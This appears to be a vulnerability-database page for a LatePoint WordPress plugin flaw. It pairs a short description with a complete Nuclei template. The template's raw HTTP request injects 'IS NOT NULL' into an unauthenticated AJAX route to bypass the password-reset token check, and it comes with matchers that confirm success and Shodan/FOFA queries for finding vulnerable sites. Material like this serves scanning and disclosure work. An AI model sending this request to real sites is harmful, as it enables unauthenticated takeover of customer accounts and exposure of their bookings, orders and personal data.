CVE-2026-118066: LatePoint < 5.7.7 - Unauthenticated Authentication Bypass / Account Takeover

2026-11-09 PoC Public

Description

Unauthenticated SQL operator injection in the latepoint_route_call AJAX route (wp_ajax_nopriv). build_conditions_query() in lib/models/model.php treats literal 'IS NULL'/'IS NOT NULL' as SQL operators and concatenates them unbound, bypassing the customer password-reset token check -> account takeover of LatePoint customers and their linked WP subscriber accounts.

Details

CVE
CVE-2026-118066 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-118066

info:
  name: LatePoint < 5.7.7 - Unauthenticated Authentication Bypass / Account Takeover
  author: DhiyaneshDk
  severity: critical
  description: |
    Unauthenticated SQL operator injection in the latepoint_route_call AJAX route (wp_ajax_nopriv). build_conditions_query() in lib/models/model.php treats literal 'IS NULL'/'IS NOT NULL' as SQL operators and concatenates them unbound, bypassing the customer password-reset token check -> account takeover of LatePoint customers and their linked WP subscriber accounts.
  remediation: |
    Update LatePoint to 5.7.7+.
  impact: |
    Unauthenticated attackers can reset passwords and fully access user accounts, including bookings, orders, and personal information.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-118066
    - https://latepoint.com/changelog/
    - https://wordpress.org/plugins/latepoint/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-118066
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    vendor: latepoint
    product: latepoint
    framework: wordpress
    shodan-query: http.html:"latepoint"
    fofa-query: body="latepoint"
  tags: cve,cve2026,latepoint,wordpress,wp-plugin,wp,kev,vkev,auth-bypass,sqli,intrusive

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        action=latepoint_route_call&route_name=steps__start_from_order_intent&params[order_intent_key]=IS+NOT+NULL

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "latepoint"
          - "payment method"
        condition: and

      - type: word
        part: body
        words:
          - '"status":"error"'
          - "You are not authorized"
        negative: true

      - type: status
        status:
          - 200
# digest: 490a004630440220355fb9c47c1226de016bc701caf2720adf3f83f42dab1cb51030eeb797993e0002206beaaf5f39aadf7b3cb7460756e81cfe7ed6dd18ce4952983ce66aaf27255bfa:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life